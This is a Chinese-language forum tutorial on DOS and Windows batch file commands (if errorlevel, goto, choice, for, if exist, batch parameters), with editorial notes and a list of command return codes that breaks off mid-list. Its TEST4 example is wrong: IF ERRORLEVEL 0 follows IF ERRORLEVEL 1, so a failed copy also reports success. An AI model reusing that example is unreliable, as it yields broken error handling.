很多DOS程序在運行結束後會返回一個數字值用來表示程序運行的結果(或者狀態),通過if errorlevel命令可以判斷程序的返回值,根據不同的返回值來決定執行不同的命令(返回值必須按照從大到小的順序排列)。如果返回值等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
==== 注 ===========
返回值從大到小的順序排列不是必須的, 而只是執行命令為 goto 時的習慣用法, 當使用 set 作為執行命令時, 通常會從小到大順序排列, 比如需將返回碼置入環境變數, 就需使用以下的順序形式:
if errorlevel 1 set el=1
if errorlevel 2 set el=2
if errorlevel 3 set el=3
if errorlevel 4 set el=4
if errorlevel 5 set el=5
...
當然, 也可以使用以下循環來替代, 原理是一致的:
for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e
更高效簡潔的用法, 可以參考我寫的另一篇關於獲取 errorlevel 的文章
出現此種現象的原因是, if errorlevel 比較返回碼的判斷條件並非等於, 而是大於等於. 由於 goto 的跳轉特性, 由小到大排序會導致在較小的返回碼處就跳出; 而由於 set命令的 "重復" 賦值特性, 由大到小排序會導致較小的返回碼 "覆蓋" 較大的返回碼.
另外, 雖然 if errorlevel=<數字> command 也是有效的命令行, 但也只是 command.com 解釋命令行時將 = 作為命令行切分符而忽略掉罷了
===========================
二、goto 批處理文件運行到這里將跳到goto所指定的標號(標號即label,標號用:後跟標准字元串來定義)處,goto語句一般與if配合使用,根據不同的條件來執行不同的命令組。
如:
goto end
:end
echo this is the end
標號用":字元串"來定義,標號所在行不被執行。
==== willsort 編注
label 常被譯為 "標簽" , 但是這並不具有廣泛的約定性.
goto 與 : 聯用可實現執行中途的跳轉, 再結合 if 可實現執行過程的條件分支, 多個 if 即可實現命令的分組, 類似 C 中 switch case 結構或者 Basic 中的 select case 結構, 大規模且結構化的命令分組即可實現高級語言中的函數功能. 以下是批處理和C/Basic在語法結構上的對照:
Batch C / Basic
goto&: goto&:
goto&:&if if{}&else{} / if&elseif&endif
goto&:&if... switch&case / select case
goto&:&if&set&envar... function() / function(),sub()
==================================
三、choice 使用此命令可以讓用戶輸入一個字元(用於選擇),從而根據用戶的選擇返回不同的errorlevel,然後於if errorlevel配合,根據用戶的選擇運行不同的命令。
注意:choice命令為DOS或者Windows系統提供的外部命令,不同版本的choice命令語法會稍有不同,請用choice /?查看用法。
作者: 219.148.184.* 2007-2-12 18:58 回復此發言
--------------------------------------------------------------------------------
4 bat.文件的命令語法, 句式或bat文件教程
choice的命令語法(該語法為Windows 2003中choice命令的語法,其它版本的choice的命令語法與此大同小異):
CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
描述:
該工具允許用戶從選擇列表選擇一個項目並返回所選項目的索引。
參數列表:
/C choices 指定要創建的選項列表。默認列表是 "YN"。
/N 在提示符中隱藏選項列表。提示前面的消息得到顯示,
選項依舊處於啟用狀態。
/CS 允許選擇分大小寫的選項。在默認情況下,這個工具
是不分大小寫的。
/T timeout 做出默認選擇之前,暫停的秒數。可接受的值是從 0
到 9999。如果指定了 0,就不會有暫停,默認選項
會得到選擇。
/D choice 在 nnnn 秒之後指定默認選項。字元必須在用 /C 選
項指定的一組選擇中; 同時,必須用 /T 指定 nnnn。
/M text 指定提示之前要顯示的消息。如果沒有指定,工具只
顯示提示。
/? 顯示幫助消息。
注意:
ERRORLEVEL 環境變數被設置為從選擇集選擇的鍵索引。列出的第一個選
擇返回 1,第二個選擇返回 2,等等。如果用戶按的鍵不是有效的選擇,
該工具會發出警告響聲。如果該工具檢測到錯誤狀態,它會返回 255 的
ERRORLEVEL 值。如果用戶按 Ctrl+Break 或 Ctrl+C 鍵,該工具會返回 0
的 ERRORLEVEL 值。在一個批程序中使用 ERRORLEVEL 參數時,將參數降
序排列。
示例:
CHOICE /?
CHOICE /C YNC /M "確認請按 Y,否請按 N,或者取消請按 C。"
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "選項 1 請選擇 a,選項 2 請選擇 b。"
CHOICE /C ab /N /M "選項 1 請選擇 a,選項 2 請選擇 b。"
==== willsort 編注 ===============================
我列出win98下choice的用法幫助, 已資區分
Waits for the user to choose one of a set of choices.
等待用戶選擇一組待選字元中的一個
CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]
/C[:]choices Specifies allowable keys. Default is YN
指定允許的按鍵(待選字元), 默認為YN
/N Do not display choices and ? at end of prompt string.
不顯示提示字元串中的問號和待選字元
/S Treat choice keys as case sensitive.
處理待選字元時大小寫敏感
/T[:]c,nn Default choice to c after nn seconds
在 nn 秒後默認選擇 c
text Prompt string to display
要顯示的提示字元串
ERRORLEVEL is set to offset of key user presses in choices.
ERRORLEVEL 被設置為用戶鍵入的字元在待選字元中的偏移值
如果我運行命令:CHOICE /C YNC /M "確認請按 Y,否請按 N,或者取消請按 C。"
屏幕上會顯示:
確認請按 Y,否請按 N,或者取消請按 C。 [Y,N,C]?
例:test.bat的內容如下(注意,用if errorlevel判斷返回值時,要按返回值從高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此批處理運行後,將顯示"defrag,mem,end[D,M,E]?" ,用戶可選擇d m e ,然後if語句根據用戶的選擇作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,批處理運行結束。
四、for 循環命令,只要條件符合,它將多次執行同一命令。
語法:
對一組文件中的每一個文件執行某個特定命令。
FOR %%variable IN (set) DO command [command-parameters]
%%variable 指定一個單一字母可替換的參數。
作者: 219.148.184.* 2007-2-12 18:58 回復此發言
--------------------------------------------------------------------------------
5 bat.文件的命令語法, 句式或bat文件教程
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters
為特定命令指定參數或命令行開關。
例如一個批處理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
則該命令行會顯示當前目錄下所有以bat和txt為擴展名的文件的內容。
==== willsort 編注 =====================================================
需要指出的是, 當()中的字元串並非單個或多個文件名時, 它將單純被當作字元串替換, 這個特性再加上()中可以嵌入多個字元串的特性, 很明顯 for 可以被看作一種遍歷型循環.
當然, 在 nt/2000/xp/2003 系列的命令行環境中, for 被賦予了更多的特性, 使之可以分析命令輸出或者文件中的字元串, 也有很多開關被用於擴展了文件替換功能.
========================================================================
批處理示例
1. IF-EXIST
1) 首先用記事本在C:\建立一個test1.bat批處理文件,文件內容如下:
@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist
然後運行它:
C:\>TEST1.BAT
如果C:\存在AUTOEXEC.BAT文件,那麼它的內容就會被顯示出來,如果不存在,批處理就會提示你該文件不存在。
2) 接著再建立一個test2.bat文件,內容如下:
@ECHO OFF
IF EXIST \%1 TYPE \%1
IF NOT EXIST \%1 ECHO \%1 does not exist
執行:
C:\>TEST2 AUTOEXEC.BAT
該命令運行結果同上。
說明:
(1) IF EXIST 是用來測試文件是否存在的,格式為
IF EXIST [路徑+文件名] 命令
(2) test2.bat文件中的%1是參數,DOS允許傳遞9個批參數信息給批處理文件,分別為%1~%9(%0表示test2命令本身) ,這有點象編程中的實參和形參的關系,%1是形參,AUTOEXEC.BAT是實參。
==== willsort 編注 =====================================================
DOS沒有 "允許傳遞9個批參數信息" 的限制, 參數的個數只會受到命令行長度和所調用命令處理能力的限制. 但是, 我們在批處理程序中, 在同一時刻只能同時引用10個參數, 因為 DOS只給出了 %0~%9這十個參數引用符.
========================================================================
3) 更進一步的,建立一個名為TEST3.BAT的文件,內容如下:
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN
如果運行:
C:\>TEST3 A B C
屏幕上會顯示:
XIAO
TIAN
XIN
如果運行:
C:\>TEST3 A B
屏幕上會顯示
XIAO
TIAN
在這個命令執行過程中,DOS會將一個空字元串指定給參數%3。
2、IF-ERRORLEVEL
建立TEST4.BAT,內容如下:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 1 ECHO 文件拷貝失敗
IF ERRORLEVEL 0 ECHO 成功拷貝文件
然後執行文件:
C:\>TEST4
如果文件拷貝成功,屏幕就會顯示"成功拷貝文件",否則就會顯示"文件拷貝失敗"。
IF ERRORLEVEL 是用來測試它的上一個DOS命令的返回值的,注意只是上一個命令的返回值,而且返回值必須依照從大到小次序順序判斷。
因此下面的批處理文件是錯誤的:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 0 ECHO 成功拷貝文件
IF ERRORLEVEL 1 ECHO 未找到拷貝文件
IF ERRORLEVEL 2 ECHO 用戶通過ctrl-c中止拷貝操作
IF ERRORLEVEL 3 ECHO 預置錯誤阻止文件拷貝操作
IF ERRORLEVEL 4 ECHO 拷貝過程中寫盤錯誤
無論拷貝是否成功,後面的:
未找到拷貝文件
用戶通過ctrl-c中止拷貝操作
預置錯誤阻止文件拷貝操作
拷貝過程中寫盤錯誤
都將顯示出來。
以下就是幾個常用命令的返回值及其代表的意義:
backup
0 備份成功
1 未找到備份文件
2 文件共享沖突阻止備份完成
3 用戶用ctrl-c中止備份
4 由於致命的錯誤使備份操作中止
diskcomp
0 盤比較相同
1 盤比較不同
2 用戶通過ctrl-c中止比較操作
3 由於致命的錯誤使比較操作中止
4 預置錯誤中止比較
disk
0 盤拷貝操作成功
1 非致命盤讀/寫錯
2 用戶通過ctrl-c結束拷貝操作
3 因致命的處理錯誤使盤拷貝中止
4 預置錯誤阻止拷貝操作
format
0 格式化成功
3 用戶